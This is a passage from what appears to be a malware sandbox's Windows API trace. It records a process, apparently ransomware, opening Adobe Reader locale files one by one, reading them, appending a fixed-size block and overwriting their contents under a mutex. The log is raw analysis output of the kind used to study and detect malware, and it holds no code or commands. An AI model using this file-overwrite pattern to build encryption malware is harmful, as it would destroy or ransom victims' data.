lpUsedDefaultChar=0x0) returned 7 [0040.867] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.879] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3400 [0040.879] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.069] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3400 [0041.069] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.070] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.070] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.070] CloseHandle (hObject=0x1ac) returned 1 [0041.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Reflow.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\reflow.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.070] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.070] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1200 [0041.070] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.070] ReleaseMutex (hMutex=0x128) returned 1 [0041.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.TUR", lpUsedDefaultChar=0x0) returned 10 [0041.070] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x318f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0041.112] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.112] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x318f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0041.112] CloseHandle (hObject=0x1ac) returned 1 [0041.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.112] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x65600 [0041.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.113] ReleaseMutex (hMutex=0x128) returned 1 [0041.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.UKR", lpUsedDefaultChar=0x0) returned 12 [0041.113] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.198] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x64600 [0041.198] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.218] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x64600 [0041.219] WriteFile (in: hFile=0x1ac, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.219] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.219] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a46df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a46df8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.219] CloseHandle (hObject=0x1ac) returned 1 [0041.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.220] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.220] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12400 [0041.220] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.220] ReleaseMutex (hMutex=0x128) returned 1 [0041.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.UKR", lpUsedDefaultChar=0x0) returned 18 [0041.221] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.242] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11400 [0041.242] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.261] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11400 [0041.261] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.262] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.262] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.262] CloseHandle (hObject=0x1ac) returned 1 [0041.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.262] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.262] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xbab1 [0041.262] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.262] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.263] ReleaseMutex (hMutex=0x128) returned 1 [0041.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.263] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.283] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xaab1 [0041.284] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.284] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xaab1 [0041.284] WriteFile (in: hFile=0x1ac, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.284] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.284] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.284] CloseHandle (hObject=0x1ac) returned 1 [0041.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Checkers.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\checkers.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.285] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.285] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x13200 [0041.285] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.285] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.285] ReleaseMutex (hMutex=0x128) returned 1 [0041.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHS", lpUsedDefaultChar=0x0) returned 12 [0041.285] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.302] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x12200 [0041.303] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x12200 [0041.303] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.303] WriteFile (in: hFile=0x1ac, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.304] CloseHandle (hObject=0x1ac) returned 1 [0041.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\RdLang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\rdlang32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe0600 [0041.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.304] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.304] ReleaseMutex (hMutex=0x128) returned 1 [0041.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHS", lpUsedDefaultChar=0x0) returned 12 [0041.304] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.323] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.340] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xdf600 [0041.340] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.356] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xdf600 [0041.356] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.356] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.356] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.357] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.357] CloseHandle (hObject=0x1ac) returned 1 [0041.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Weblink.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\weblink.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4e00 [0041.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.357] ReleaseMutex (hMutex=0x128) returned 1 [0041.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHS", lpUsedDefaultChar=0x0) returned 11 [0041.358] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.379] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3e00 [0041.379] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.379] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3e00 [0041.379] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.380] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.380] CloseHandle (hObject=0x1ac) returned 1 [0041.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\EScript.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\escript.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7400 [0041.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.380] ReleaseMutex (hMutex=0x128) returned 1 [0041.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 